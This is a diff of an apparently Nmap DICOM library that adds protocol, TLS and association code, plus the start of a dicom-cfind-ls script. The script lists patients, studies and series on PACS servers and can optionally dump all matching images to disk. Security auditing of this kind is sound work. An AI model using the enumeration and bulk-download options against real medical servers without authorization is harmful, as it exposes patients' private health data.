cmd = cmd .. implicit_elem(0x0000, 0x0002, "UI", sop_class_uid) + cmd = cmd .. implicit_elem(0x0000, 0x0100, "US", COMMAND_FIELD.C_GET_RQ) + cmd = cmd .. implicit_elem(0x0000, 0x0110, "US", msg_id) + cmd = cmd .. implicit_elem(0x0000, 0x0700, "US", priority) + cmd = cmd .. implicit_elem(0x0000, 0x0800, "US", DATASET_PRESENT) + return implicit_elem(0x0000, 0x0000, "UL", #cmd) .. cmd +end + +--- Build a C-MOVE-RQ command set. +-- @param msg_id Message ID +-- @param sop_class_uid Abstract Syntax UID for the Q/R information model +-- @param move_dest Move Destination AE Title (max 16 chars, +-- space-padded) +-- @param priority Priority (default: LOW = 0x0002) +-- @return Command set bytes (Implicit VR LE) +function build_cmove_rq(msg_id, sop_class_uid, move_dest, priority) + priority = priority or 0x0002 + -- MoveDestination (0000,0600) is AE type: max 16 chars, space-padded, even + -- length + local dest = move_dest or "MOVESCP" + if #dest > 16 then dest = dest:sub(1, 16) end + -- Pad to even length with spaces (AE VR convention) + if #dest % 2 ~= 0 then dest = dest .. " " end + local cmd = "" + cmd = cmd .. implicit_elem(0x0000, 0x0002, "UI", sop_class_uid) + cmd = cmd .. implicit_elem(0x0000, 0x0100, "US", COMMAND_FIELD.C_MOVE_RQ) + cmd = cmd .. implicit_elem(0x0000, 0x0110, "US", msg_id) + cmd = cmd .. implicit_elem(0x0000, 0x0600, "AE", dest) + cmd = cmd .. implicit_elem(0x0000, 0x0700, "US", priority) + cmd = cmd .. implicit_elem(0x0000, 0x0800, "US", DATASET_PRESENT) + return implicit_elem(0x0000, 0x0000, "UL", #cmd) .. cmd +end + +--- Build a C-STORE-RSP command set. +-- @param msg_id_rsp Message ID Being Responded To +-- @param sop_class_uid Affected SOP Class UID +-- @param sop_inst_uid Affected SOP Instance UID +-- @param status_code Status code (default: SUCCESS = 0x0000) +-- @return Command set bytes (Implicit VR LE) +function build_cstore_rsp(msg_id_rsp, sop_class_uid, sop_inst_uid, status_code) + status_code = status_code or STATUS.SUCCESS + local cmd = "" + cmd = cmd .. implicit_elem(0x0000, 0x0002, "UI", sop_class_uid) + cmd = cmd .. implicit_elem(0x0000, 0x0100, "US", COMMAND_FIELD.C_STORE_RSP) + cmd = cmd .. implicit_elem(0x0000, 0x0120, "US", msg_id_rsp) + cmd = cmd .. implicit_elem(0x0000, 0x0800, "US", DATASET_NOT_PRESENT) + cmd = cmd .. implicit_elem(0x0000, 0x0900, "US", status_code) + cmd = cmd .. implicit_elem(0x0000, 0x1000, "UI", sop_inst_uid) + return implicit_elem(0x0000, 0x0000, "UL", #cmd) .. cmd +end + +--- Build a C-FIND query dataset for a given Q/R level. +-- @param level QR_LEVEL value ("STUDY", "SERIES", "IMAGE") +-- @param query_tags List of {group, elem, vr, value} tag tables +-- @param transfer_syntax Transfer syntax for encoding (default: Explicit VR +-- LE) +-- @return Dataset bytes +function build_cfind_dataset(level, query_tags, transfer_syntax) + -- Prepend QueryRetrieveLevel + local all_tags = {{group=0x0008, elem=0x0052, vr="CS", value=level}} + for _, t in ipairs(query_tags) do + if not (t.group == 0x0008 and t.elem == 0x0052) then + all_tags[#all_tags + 1] = t + end + end + return encode_dataset(all_tags, transfer_syntax) +end + +--- Build a C-GET query dataset. +-- @param level QR_LEVEL value +-- @param query_tags List of {group, elem, vr, value} tag tables +-- @param transfer_syntax Transfer syntax for encoding +-- @return Dataset bytes +function build_cget_dataset(level, query_tags, transfer_syntax) + return build_cfind_dataset(level, query_tags, transfer_syntax) +end + +----------------------------------------------------------------------- +-- 9. DIMSE RESPONSE PARSERS +----------------------------------------------------------------------- + +--- Parse a C-STORE-RSP from P-DATA-TF PDU bytes. +-- @param data Raw PDU bytes +-- @return status_code (int), error_comment (string) +function parse_cstore_rsp(data) + local cmd_bytes = parse_pdata(data) + local elems = parse_command_set(cmd_bytes) + local status = 0xFFFF + local error_comment = "" + if elems["0000,0900"] then status = elems["0000,0900"].value end + if elems["0000,0902"] then + error_comment = tostring(elems["0000,0902"].value):gsub("%z", + ""):gsub("%s+$", "") + end + return status, error_comment +end + +--- Parse a C-FIND-RSP from P-DATA-TF PDU bytes. +-- @param data Raw PDU bytes +-- @param transfer_syntax Transfer syntax for dataset decoding (default: +-- Explicit VR LE) +-- @return status (int), dataset_elements (table or nil), cmd_elements (table) +function parse_cfind_rsp(data, transfer_syntax) + transfer_syntax = transfer_syntax or TRANSFER_SYNTAX.EXPLICIT_LE + local cmd_bytes, dataset_bytes = parse_pdata(data) + local cmd_elems = parse_command_set(cmd_bytes) + + local status = 0xFFFF + if cmd_elems["0000,0900"] then + status = cmd_elems["0000,0900"].value + end + + -- CommandDataSetType: 0x0101 = no dataset + local has_dataset = true + if cmd_elems["0000,0800"] then + has_dataset = (cmd_elems["0000,0800"].value ~= DATASET_NOT_PRESENT) + end + + local ds_elems = nil + if has_dataset and #dataset_bytes > 0 then + ds_elems = parse_dataset(dataset_bytes, transfer_syntax) + end + + return status, ds_elems, cmd_elems +end + +----------------------------------------------------------------------- +-- 10. NETWORK LAYER +----------------------------------------------------------------------- + +--- Create a new Nmap socket with timeout. +function new_sock(timeout_s) + local s = nmap.new_socket() + s:set_timeout((timeout_s or 10) * 1000) + return s +end + +--- Whether DICOM-over-TLS is requested via the global "dicom.tls" script-arg. +-- @return true if dicom.tls=true was supplied on the command line +function tls_enabled() + return stdnse.get_script_args("dicom.tls") == "true" +end + +--- Connect a socket. Returns ok, err. +-- @param sock Nmap socket +-- @param host Host object +-- @param port Port object (or number) +-- @param tls true = TLS, false = plain TCP, nil = honor the dicom.tls arg +function tcp_connect(sock, host, port, tls) + if tls == nil then tls = tls_enabled() end + return sock:connect(host, port, tls and "ssl" or "tcp") +end + +--- Fetch the peer's TLS certificate from a connected TLS socket, if any. +-- @param sock Connected Nmap socket (TLS) +-- @return certificate table (see nmap sslcert), or nil +function get_cert(sock) + local ok, cert = pcall(function() return sock:get_ssl_certificate() end) + if ok then return cert end + return nil +end + +--- Send all bytes on a socket. Returns ok, err. +function tcp_send(sock, data) + if not data or #data == 0 then return true end + return sock:send(data) +end + +--- Receive bytes until one complete PDU is assembled. +-- Accepts an optional carry buffer containing leftover bytes from a +-- previous call (when multiple PDUs arrive in a single TCP segment). +-- Returns the extracted PDU **and** any remaining bytes so the caller +-- can feed them back into the next call. +-- +-- @param sock Nmap socket +-- @param timeout_s Timeout in seconds (used for error classification) +-- @param carry (optional) leftover bytes from a previous recv_pdu call +-- @return ok (bool), data_or_err (string), remaining (string – leftover bytes, +-- empty on error) +function recv_pdu(sock, timeout_s, carry) + local buf = carry or "" + -- If carry already contains a full PDU, extract it without reading the + -- socket + if #buf >= 6 then + local pdu_len = string.unpack(">I4", buf, 3) + if #buf >= 6 + pdu_len then + local pdu_data = buf:sub(1, 6 + pdu_len) + local remaining = buf:sub(6 + pdu_len + 1) + return true, pdu_data, remaining + end + end + local ok, chunk + for _ = 1, 30 do + ok, chunk = sock:receive() + if not ok then + if chunk and chunk:find("TIMEOUT") then + return false, "TIMEOUT", "" + end + return false, "CONNECTION_RESET", "" + end + buf = buf .. chunk + if #buf >= 6 then + local pdu_len = string.unpack(">I4", buf, 3) + if #buf >= 6 + pdu_len then + local pdu_data = buf:sub(1, 6 + pdu_len) + local remaining = buf:sub(6 + pdu_len + 1) + return true, pdu_data, remaining + end + end + end + if #buf > 0 then return true, buf, "" end + return false, "NO_DATA", "" +end + +----------------------------------------------------------------------- +-- 11. DIMSE MESSAGE I/O +----------------------------------------------------------------------- + +--- Send a DIMSE message (command set + optional dataset) as P-DATA-TF PDU(s). +-- +-- When both the command and dataset fit within a single PDU, they are +-- combined into one P-DATA-TF PDU with two PDV items (matching the +-- behaviour of DCMTK and pynetdicom). For larger payloads, the dataset +-- is fragmented across multiple PDUs. +-- +-- Command sets are always Implicit VR LE. The dataset must already be +-- encoded in the negotiated transfer syntax before calling this function. +-- +-- @param sock Nmap socket +-- @param pctx_id Accepted presentation context ID +-- @param cmd_bytes Command set bytes (Implicit VR LE) +-- @param ds_bytes Dataset bytes (already encoded in negotiated TS), or nil +-- @param max_pdu Max PDU size (use server's negotiated value) +-- @return ok (bool), err (string or nil) +function send_dimse(sock, pctx_id, cmd_bytes, ds_bytes, max_pdu) + max_pdu = max_pdu or MAX_PDU_DEFAULT + local max_frag = max_pdu - 12 + if max_frag < 1 then max_frag = 512 end + + -- Build command PDV: MCH 0x03 = command + last fragment + -- PS3.8 §9.3.5.1: Bit 0 = 1 → command, Bit 1 = 1 → last fragment + local cmd_pdv = string.pack(">I4 B B", 2 + #cmd_bytes, pctx_id, 0x03) + .. cmd_bytes + + -- Always send command in its own P-DATA-TF PDU. + -- Some DICOM implementations (including certain Orthanc/DCMTK builds) + -- do not correctly handle multi-PDV P-DATA-TF PDUs where both the + -- command and dataset PDV items are combined into one PDU. Sending + -- them in separate PDUs is the most compatible approach and is + -- explicitly allowed by PS3.8 §9.3.5. + local pdu1 = string.pack(">B B I4", PDU_CODES.DATA, 0x00, #cmd_pdv) + .. cmd_pdv + local ok, err = tcp_send(sock, pdu1) + if not ok then return false, err end + + if not ds_bytes or #ds_bytes == 0 then + return true -- Command-only (e.g., C-ECHO-RQ) + end + + -- Fragment dataset across P-DATA-TF PDU(s) + local offset = 1 + while offset <= #ds_bytes do + local chunk_end = math.min(offset + max_frag - 1, #ds_bytes) + local chunk = ds_bytes:sub(offset, chunk_end) + local is_last = (chunk_end >= #ds_bytes) + local mch = is_last and 0x02 + or 0x00 -- PS3.8: bit 0=0 → dataset, bit 1=1 → last + local ds_pdv = string.pack(">I4 B B", 2 + #chunk, pctx_id, mch) .. chunk + local pdu = string.pack(">B B I4", PDU_CODES.DATA, 0x00, #ds_pdv) .. ds_pdv + ok, err = tcp_send(sock, pdu) + if not ok then return false, err end + offset = chunk_end + 1 + end + return true +end + +--- Receive a single DIMSE response (command + optional dataset). +-- +-- The server may send the command and dataset in a single P-DATA-TF PDU +-- (with two PDV items) or in separate P-DATA-TF PDUs. This function +-- handles both cases by checking CommandDataSetType (0000,0800) in the +-- command set: if a dataset is expected but not yet received, it reads +-- the next PDU to obtain it. +-- +-- Accepts and returns a carry buffer so the caller can chain calls +-- without losing bytes when multiple PDUs arrive in one TCP segment. +-- +-- @param sock Nmap socket +-- @param timeout_s Timeout in seconds +-- @param carry (optional) leftover bytes from previous recv_pdu +-- @return pdu_type (int or nil), cmd_elems (table), ds_bytes (string), +-- raw_pdu (string), remaining (string – leftover bytes for next call), +-- pctx_id (int or nil – presentation context the message arrived on; +-- needed to reply on the correct context during C-GET sub-operations) +function recv_dimse(sock, timeout_s, carry) + local remaining = carry or "" + + -- Read first PDU (should contain at least the command set) + local ok, data + ok, data, remaining = recv_pdu(sock, timeout_s, remaining) + if not ok then return nil, nil, "", data, remaining, nil end + + local pdu_type = string.byte(data, 1) + if pdu_type ~= PDU_CODES.DATA then + return pdu_type, nil, "", data, remaining, nil + end + + local cmd_bytes, ds_bytes, cmd_complete, ds_complete, + pctx_id = parse_pdata(data) + local cmd_elems = {} + if #cmd_bytes > 0 then + cmd_elems = parse_command_set(cmd_bytes) + end + + -- Check if command indicates a dataset is present + -- CommandDataSetType (0000,0800): 0x0101 = no dataset, anything else = + -- dataset present + local has_dataset = false + if cmd_elems["0000,0800"] then + has_dataset = (cmd_elems["0000,0800"].value ~= DATASET_NOT_PRESENT) + end + + if has_dataset then + -- Read additional PDUs until we have the complete dataset. + -- The dataset may span many P-DATA-TF PDUs (common for images). + -- We stop when the last dataset PDV has MCH bit 1 set (last fragment). + local max_reads = 2000 -- safety limit for very large datasets + local reads = 0 + while not ds_complete and reads < max_reads do + reads = reads + 1 + local ok2, data2 + ok2, data2, remaining = recv_pdu(sock, timeout_s, remaining) + if not ok2 then + stdnse.debug2("recv_dimse: dataset reassembly read error: %s", + tostring(data2)) + break + end + local pdu_type2 = string.byte(data2, 1) + if pdu_type2 ~= PDU_CODES.DATA then + -- Non-DATA PDU arrived mid-dataset (e.g. A-ABORT). + -- Return what we have; caller gets the unexpected PDU next time via + -- carry. + -- Push data2 back into remaining so the next recv_pdu finds it. + remaining = data2 .. remaining + break + end + local extra_cmd, extra_ds, _, extra_ds_complete = parse_pdata(data2) + if #extra_cmd > 0 then + cmd_bytes = cmd_bytes .. extra_cmd + end + ds_bytes = ds_bytes .. extra_ds + ds_complete = extra_ds_complete + end + end + + return pdu_type, cmd_elems, ds_bytes, data, remaining, pctx_id +end + +----------------------------------------------------------------------- +-- 12. CONNECTION / ASSOCIATION MANAGEMENT +----------------------------------------------------------------------- + +-- ── Legacy API (backward-compatible with built-in dicom.lua) ─────── + +--- Legacy: start_connection(host, port) — opens TCP socket. function start_connection(host, port) local dcm = {} local status, err dcm['socket'] = nmap.new_socket() - - status, err = dcm['socket']:connect(host, port, "tcp") - - if not status then + local proto = tls_enabled() and "ssl" or "tcp" + status, err = dcm['socket']:connect(host, port, proto) + if status == false then return false, "DICOM: Failed to connect to host: " .. err end - return true, dcm end ---- --- send(dcm, data) Sends DICOM packet over established socket --- --- @param dcm DICOM object --- @param data Data to send --- @return status True if data was sent correctly, otherwise false and error message is returned. ---- -function send(dcm, data) - local status, err +--- Legacy: send(dcm, data) +function send(dcm, data) stdnse.debug2("DICOM: Sending DICOM packet (%d)", #data) if dcm['socket'] then - status, err = dcm['socket']:send(data) - if not status then - return false, err - end - else + local status, err = dcm['socket']:send(data) + if status == false then return false, err end + else return false, "No socket found. Check your DICOM object" end return true end ---- --- receive(dcm) Reads DICOM packets over an established socket --- --- @param dcm DICOM object --- @return (status, data) Returns data if status true, otherwise data is the error message. ---- +--- Legacy: receive(dcm) function receive(dcm) local status, data = dcm['socket']:receive() - if not status then - return false, data - end + if status == false then return false, data end stdnse.debug1("DICOM: receive() read %d bytes", #data) return true, data end ---- --- pdu_header_encode(pdu_type, length) encodes the DICOM PDU header --- --- @param pdu_type PDU type as ann unsigned integer --- @param length Length of the DICOM message --- @return (status, dcm) If status is true, the DICOM object with the header set is returned. --- If status is false, dcm is the error message. ---- -function pdu_header_encode(pdu_type, length) - -- Some simple sanity checks, we do not check ranges to allow users to create malformed packets. - if not(type(pdu_type)) == "number" then - return false, "PDU Type must be an unsigned integer. Range:0-7" - end - if not(type(length)) == "number" then - return false, "Length must be an unsigned integer." - end - - local header = string.pack("B I4", - pdu_type, -- PDU Type ( 1 byte - unsigned integer in Big Endian ) - 0, -- Reserved section ( 1 byte that should be set to 0x0 ) - length) -- PDU Length ( 4 bytes - unsigned integer in Little Endian) - if #header < MIN_HEADER_LEN then - return false, "Header must be at least 6 bytes. Something went wrong." - end - return true, header -end - ---- --- associate(host, port) Attempts to associate to a DICOM Service Provider by sending an A-ASSOCIATE request. --- --- @param host Host object --- @param port Port object --- @return (status, dcm) If status is true, the DICOM object is returned. --- If status is false, dcm is the error message. ---- - +--- Legacy: associate(host, port, calling_aet, called_aet) function associate(host, port, calling_aet, called_aet) local application_context = "" local presentation_context = "" local userinfo_context = "" - + local status, dcm = start_connection(host, port) - if not status then - return false, dcm - end - + if status == false then return false, dcm end + local application_context_name = "1.2.840.10008.3.1.1.1" - application_context = string.pack(">B B s2", - 0x10, - 0x0, - application_context_name) - + application_context = string.pack(">B B s2", 0x10, 0x0, + application_context_name) + local abstract_syntax_name = "1.2.840.10008.1.1" local transfer_syntax_name = "1.2.840.10008.1.2" presentation_context = string.pack(">B B I2 B B B B B B s2 B B s2", - 0x20, -- Presentation context type ( 1 byte ) - 0x0, -- Reserved ( 1 byte ) - 0x2e, -- Item Length ( 2 bytes ) - 0x1, -- Presentation context id ( 1 byte ) - 0x0,0x0,0x0, -- Reserved ( 3 bytes ) - 0x30, -- Abstract Syntax Tree ( 1 byte ) - 0x0, -- Reserved ( 1 byte ) - abstract_syntax_name, - 0x40, -- Transfer Syntax ( 1 byte ) - 0x0, -- Reserved ( 1 byte ) - transfer_syntax_name) - - local implementation_id = "1.2.276.0.7230010.3.0.3.6.2" - local implementation_version = "OFFIS_DCMTK_362" + 0x20, 0x0, 0x2e, + 0x1, 0x0, 0x0, 0x0, + 0x30, 0x0, abstract_syntax_name, + 0x40, 0x0, transfer_syntax_name) + + local implementation_id = IMPL_CLASS_UID + local implementation_version = IMPL_VERSION userinfo_context = string.pack(">B B I2 B B I2 I4 B B s2 B B s2", - 0x50, -- Type 0x50 (1 byte) - 0x0, -- Reserved ( 1 byte ) - 0x3a, -- Length ( 2 bytes ) - 0x51, -- Type 0x51 ( 1 byte) - 0x0, -- Reserved ( 1 byte) - 0x04, -- Length ( 2 bytes ) - 0x4000, -- DATA ( 4 bytes ) - 0x52, -- Type 0x52 (1 byte) - 0x0, - implementation_id, - 0x55, - 0x0, - implementation_version) - - local called_ae_title = called_aet or stdnse.get_script_args("dicom.called_aet") or "ANY-SCP" - local calling_ae_title = calling_aet or stdnse.get_script_args("dicom.calling_aet") or "ECHOSCU" + 0x50, 0x0, 0x3a, + 0x51, 0x0, 0x04, 0x4000, + 0x52, 0x0, implementation_id, + 0x55, 0x0, implementation_version) + + local called_ae_title = called_aet + or stdnse.get_script_args("dicom.called_aet") or "ANY-SCP" + local calling_ae_title = calling_aet + or stdnse.get_script_args("dicom.calling_aet") or "ECHOSCU" if #called_ae_title > 16 or #calling_ae_title > 16 then - return false, "Calling/Called Application Entity Title must be less than 16 bytes" + return false, + "Calling/Called Application Entity Title must be less than 16 bytes" end - called_ae_title = ("%-16s"):format(called_ae_title) + called_ae_title = ("%-16s"):format(called_ae_title) calling_ae_title = ("%-16s"):format(calling_ae_title) - -- ASSOCIATE request local assoc_request = string.pack(">I2 I2 c16 c16 c32", - 0x1, -- Protocol version ( 2 bytes ) - 0x0, -- Reserved section ( 2 bytes that should be set to 0x0 ) - called_ae_title, -- Called AE title ( 16 bytes) - calling_ae_title, -- Calling AE title ( 16 bytes) - "") -- Reserved section ( 32 bytes set to 0x0 ) - .. application_context - .. presentation_context - .. userinfo_context - - local status, header = pdu_header_encode(PDU_CODES["ASSOCIATE_REQUEST"], #assoc_request) + 0x1, 0x0, called_ae_title, calling_ae_title, "") + .. application_context + .. presentation_context + .. userinfo_context - -- Something might be wrong with our header - if not status then - return false, header - end + local status, header = pdu_header_encode(PDU_CODES["ASSOCIATE_REQUEST"], + #assoc_request) + if status == false then return false, header end assoc_request = header .. assoc_request - - stdnse.debug2("PDU len minus header:%d", #assoc_request-#header) + if #assoc_request < MIN_SIZE_ASSOC_REQ then - return false, string.format("ASSOCIATE request PDU must be at least %d bytes and we tried to send %d.", MIN_SIZE_ASSOC_REQ, #assoc_request) - end + return false, string.format( + "ASSOCIATE request PDU must be at least %d bytes and we tried to send" .. + " %d.", + MIN_SIZE_ASSOC_REQ, #assoc_request) + end local status, err = send(dcm, assoc_request) - if not status then + if status == false then return false, string.format("Couldn't send ASSOCIATE request:%s", err) end status, err = receive(dcm) - if not status then + if status == false then return false, string.format("Couldn't read ASSOCIATE response:%s", err) end @@ -252,15 +1380,178 @@ function associate(host, port, calling_aet, called_aet) end end +--- Legacy: send_pdata(dicom, data) function send_pdata(dicom, data) local status, header = pdu_header_encode(PDU_CODES["DATA"], #data) - if not status then - return false, header - end + if status == false then return false, header end local err status, err = send(dicom, header .. data) - if not status then - return false, err + if status == false then return false, err end +end + +-- ── New API ──────────────────────────────────────────────────────── + +--- Perform A-ASSOCIATE-RQ and parse A-ASSOCIATE-AC. +-- @param host Nmap host object +-- @param port Nmap port object +-- @param called_ae Called AE Title +-- @param calling_ae Calling AE Title +-- @param sop_classes List of SOP Class UIDs to propose +-- @param max_pdu Max PDU length +-- @param timeout_s Socket timeout in seconds +-- @param transfer_uids Optional list of TS UIDs for presentation contexts +-- @param roles Optional list of {uid=,scu=,scp=} SCP/SCU role +-- selection requests (request scp=true on storage SOP +-- classes for C-GET). Accepted roles are returned in +-- the ac_info table (6th return value) as .roles. +-- @param tls If true, wrap the association in TLS (DICOM-over-TLS); +-- the peer certificate is returned in ac_info.cert. +-- @return ok, sock_or_err, pctx_map, server_max_pdu, elapsed_ms, ac_info +function do_associate(host, port, called_ae, calling_ae, sop_classes, max_pdu, + timeout_s, transfer_uids, roles, tls) + if tls == nil then tls = tls_enabled() end + local sock = new_sock(timeout_s) + local t0 = nmap.clock_ms() + local ok, err = tcp_connect(sock, host, port, tls) + if not ok then + sock:close() + return false, "CONN_REFUSED", nil, nil, nmap.clock_ms() - t0 + end + + local assoc_rq = build_assoc_rq(called_ae, calling_ae, sop_classes, max_pdu, + transfer_uids, roles) + ok, err = tcp_send(sock, assoc_rq) + if not ok then + sock:close() + return false, "SEND_FAILED", nil, nil, nmap.clock_ms() - t0 + end + + local resp + ok, resp = recv_pdu(sock, timeout_s) + local elapsed = nmap.clock_ms() - t0 + if not ok then + sock:close() + return false, resp, nil, nil, elapsed + end + + local pdu_type = string.byte(resp, 1) + if pdu_type == PDU_CODES.ASSOCIATE_ACCEPT then + local ac_info = parse_assoc_ac(resp) + if tls then ac_info.cert = get_cert(sock) end + return true, sock, ac_info.pctxs, ac_info.max_pdu, elapsed, ac_info + elseif pdu_type == PDU_CODES.ASSOCIATE_REJECT then + sock:close() + local result_v, source, reason = 0, 0, 0 + if #resp >= 10 then + result_v = string.byte(resp, 8) + source = string.byte(resp, 9) + reason = string.byte(resp, 10) + end + return false, + string.format("REJECT(result=%d,source=%d,reason=%d)", result_v, source, + reason), + nil, nil, elapsed + elseif pdu_type == PDU_CODES.ABORT then + sock:close() + return false, "A-ABORT", nil, nil, elapsed + else + sock:close() + return false, + string.format("UNEXPECTED_PDU(0x%02X)", pdu_type), + nil, nil, elapsed + end +end + +--- Send A-RELEASE-RQ and wait for A-RELEASE-RP (best-effort). +function do_release(sock, timeout_s) + local rel_rq = string.pack(">B B I4 I4", + PDU_CODES.RELEASE_REQUEST, 0x00, 0x04, 0x00000000) + sock:set_timeout((timeout_s or 3) * 1000) + tcp_send(sock, rel_rq) + pcall(function() sock:receive() end) + sock:close() +end + +--- Find the first accepted presentation context ID from a pctx map. +-- @param pctxs Table from parse_assoc_ac {pctx_id -> {accepted, +-- transfer_syntax}} +-- @return pctx_id (int) or nil +function pick_accepted_pctx(pctxs) + local sorted = {} + for pid, _ in pairs(pctxs) do sorted[#sorted + 1] = pid end + table.sort(sorted) + for _, pid in ipairs(sorted) do + if pctxs[pid].accepted then return pid end + end + return nil +end + +--- Get the negotiated transfer syntax for an accepted presentation context. +-- @param pctxs Table from parse_assoc_ac +-- @param pctx_id Presentation context ID +-- @return Transfer syntax UID string, or nil +function get_accepted_ts(pctxs, pctx_id) + if pctxs and pctx_id and pctxs[pctx_id] and pctxs[pctx_id].accepted then + return pctxs[pctx_id].transfer_syntax + end + return nil +end + +----------------------------------------------------------------------- +-- 13. FILE META / DATASET EXTRACTION +----------------------------------------------------------------------- + +--- Extract the DICOM dataset from a raw .dcm file. +-- Strips 128-byte preamble + "DICM" prefix and File Meta Information. +-- @param filepath Path to .dcm file +-- @return dataset_bytes, sop_class_uid, sop_instance_uid, transfer_syntax_uid, +-- err +function read_dcm_dataset(filepath) + local data, err = read_file(filepath) + if not data then + return nil, nil, nil, nil, err + end + + if #data >= 132 and data:sub(129, 132) == "DICM" then + local pos = 133 + local sop_class = "" + local sop_instance = "" + local ts_uid = TRANSFER_SYNTAX.EXPLICIT_LE + + -- Parse File Meta Information (always Explicit VR LE, group 0002) + while pos <= #data - 8 do + local grp = string.unpack(" +-- +-- @usage +-- nmap -p 4242 --script dicom-cfind-ls \ +-- --script-args 'dicom-cfind-ls.called_ae=ORTHANC,dicom-cfind-ls.calling_ae=LAUNCHER' +-- +-- @usage +-- nmap -p 4242 --script dicom-cfind-ls \ +-- --script-args 'dicom-cfind-ls.level=SERIES,dicom-cfind-ls.max_results=50' +-- +-- @usage (download all matching instances to disk) +-- nmap -p 4242 --script dicom-cfind-ls \ +-- --script-args 'dicom-cfind-ls.save=/tmp/dicom-dump' +-- +-- @args dicom-cfind-ls.called_ae Target AE Title (default: "ANY-SCP") +-- @args dicom-cfind-ls.calling_ae Our AE Title (default: "FINDSCU") +-- @args dicom-cfind-ls.level Deepest query level: PATIENT, STUDY, +-- SERIES, IMAGE (default: "IMAGE") +-- @args dicom-cfind-ls.max_results Maximum results per level (default: 100) +-- @args dicom-cfind-ls.timeout Response timeout in seconds (default: 10) +-- @args dicom-cfind-ls.max_pdu Max PDU Length in bytes (default: 16384) +-- @args dicom-cfind-ls.patient_name Filter by PatientName (wildcard * +-- allowed, default: "*") +-- @args dicom-cfind-ls.patient_id Filter by PatientID (default: all) +-- @args dicom-cfind-ls.study_date Filter by StudyDate (YYYYMMDD or range, +-- default: all) +-- @args dicom-cfind-ls.modality Filter by Modality (CT, MR, etc., +-- default: all) +-- @args dicom-cfind-ls.save Directory to save DICOM files via C-GET +-- (default: disabled) +-- @args dicom-cfind-ls.info_model Q/R Information Model: "study" or +-- "patient" (default: "study") +-- @args dicom-cfind-ls.full Include extended return-key tags in +-- queries (StudyDate, +-- AccessionNumber, ModalitiesInStudy, etc.). +-- Some PACS servers +-- abort on unsupported tags; when set the +-- script auto-retries +-- with minimal tags on A-ABORT. Default: +-- off (lean query). +-- +-- @output +-- PORT STATE SERVICE +-- 4242/tcp open dicom +-- | dicom-cfind-ls: +-- | DICOM Q/R Results (Study Root, FIND): +-- | Patients: 3 Studies: 5 Series: 12 Instances: 47 +-- | +-- | [Patient] John Doe (ID: PATIENT001) +-- | [Study] 2025-01-15 - CT Abdomen (1.2.3.4.5.1) +-- | [Series] CT - 128 images (1.2.3.4.5.1.1) +-- | [Series] CT - 64 images (1.2.3.4.5.1.2) +-- | [Study] 2025-03-20 - MR Brain (1.2.3.4.5.2) +-- | [Series] MR - 256 images (1.2.3.4.5.2.1) +-- | [Patient] Jane Smith (ID: PATIENT002) +-- | [Study] 2025-02-10 - CR Chest (1.2.3.4.5.3) +-- | [Series] CR - 2 images (1.2.3.4.5.3.1) +-- | +-- | WARNING: Patient data accessible without authentication +-- |_ Saved 47 instances to /tmp/dicom-dump/ +--- + +author = "Paulino Calderon " +license = "Same as Nmap -- See https://nmap.org/book/man-legal.html" +categories = {"discovery", "safe"} + +local shortport = require "shortport" +local stdnse = require "stdnse" +local nmap = require "nmap" +local string = require "string" +local table = require "table" +local math = require "math" +local dicom = require "dicom" + +-- Verify we have the enhanced library (not Nmap's built-in minimal version) +assert(dicom.explicit_elem, + "\n\n dicom-cfind-ls requires the enhanced dicom.lua library.\n" .. + " Copy dicom.lua to your Nmap nselib/ directory:\n" .. + " cp dicom.lua /usr/share/nmap/nselib/dicom.lua\n") + +portrule = shortport.port_or_service( + {104, 2345, 2761, 2762, 4242, 11112}, "dicom", "tcp", "open") + +----------------------------------------------------------------------- +-- HELPERS +----------------------------------------------------------------------- + +local function get_arg(key, default) + return stdnse.get_script_args("dicom-cfind-ls." .. key) or default +end + +----------------------------------------------------------------------- +-- C-FIND QUERY +----------------------------------------------------------------------- + +--- Hex-dump helper for debug level >= 2. +local function hexdump(label, data) + if not data or #data == 0 then return end + local parts = {} + for i = 1, #data do + parts[#parts + 1] = string.format("%02X", string.byte(data, i)) + if i % 32 == 0 then parts[#parts + 1] = "\n " end + end + stdnse.debug2("%s (%d bytes):\n %s", label, #data, table.concat(parts, " ")) +end + +--- Perform a single C-FIND association + query cycle. +-- Opens an association, sends C-FIND-RQ + dataset, collects PENDING +-- responses until SUCCESS or error, then releases. +-- +-- @param host Nmap host object +-- @param port Nmap port object +-- @param called_ae Called AE Title +-- @param calling_ae Calling AE Title +-- @param find_sop SOP Class UID for the Q/R FIND model +-- @param query_tags List of {group, elem, vr, value} for the query dataset +-- @param level Q/R level string ("STUDY", "SERIES", "IMAGE") +-- @param max_pdu Max PDU length +-- @param timeout_s DIMSE timeout in seconds +-- @param max_results Max results to collect +-- @return ok (bool), results_or_err (list of tag tables, or error string) +local function do_cfind_once(host, port, called_ae, calling_ae, find_sop, + query_tags, level, max_pdu, timeout_s, + max_results) + -- Associate + local ok, sock, pctxs, server_max_pdu, elapsed = + dicom.do_associate(host, port, called_ae, calling_ae, {find_sop}, max_pdu, + timeout_s) + if not ok then + return false, sock + end + + local pctx_id = dicom.pick_accepted_pctx(pctxs) + if not pctx_id then + dicom.do_release(sock, 3) + return false, "No accepted presentation context for C-FIND" + end + + -- Determine the negotiated transfer syntax for dataset encoding + local ts = dicom.get_accepted_ts(pctxs, pctx_id) + or dicom.TRANSFER_SYNTAX.EXPLICIT_LE + local eff_max = math.min(server_max_pdu or max_pdu, max_pdu) + + stdnse.debug1("C-FIND: pctx_id=%d TS=%s max_pdu=%d tags=%d", + pctx_id, ts, eff_max, #query_tags) + + -- Build command set (always Implicit VR LE) and dataset (negotiated TS) + local cmd_bytes = dicom.build_cfind_rq(1, find_sop) + local ds_bytes = dicom.build_cfind_dataset(level, query_tags, ts) + + hexdump("C-FIND command set", cmd_bytes) + hexdump("C-FIND dataset", ds_bytes) + + -- Send command + dataset via send_dimse (combines into single P-DATA-TF PDU) + ok = dicom.send_dimse(sock, pctx_id, cmd_bytes, ds_bytes, eff_max) + if not ok then + sock:close() + return false, "Failed to send C-FIND DIMSE message" + end + + -- Collect responses + local results = {} + local count = 0 + local carry = "" -- carry buffer for leftover bytes between recv_dimse calls + + while true do + local pdu_type, cmd_elems, resp_ds_bytes, raw + pdu_type, cmd_elems, resp_ds_bytes, raw, carry = + dicom.recv_dimse(sock, timeout_s, carry) + + if not pdu_type then + stdnse.debug1("C-FIND recv error: %s", tostring(raw)) + break + end + + if pdu_type == dicom.PDU_CODES.ABORT then + stdnse.debug1("C-FIND: received A-ABORT (sent %d tags at level %s)", + #query_tags, level) + hexdump("A-ABORT PDU", raw) + sock:close() + if #results > 0 then return true, 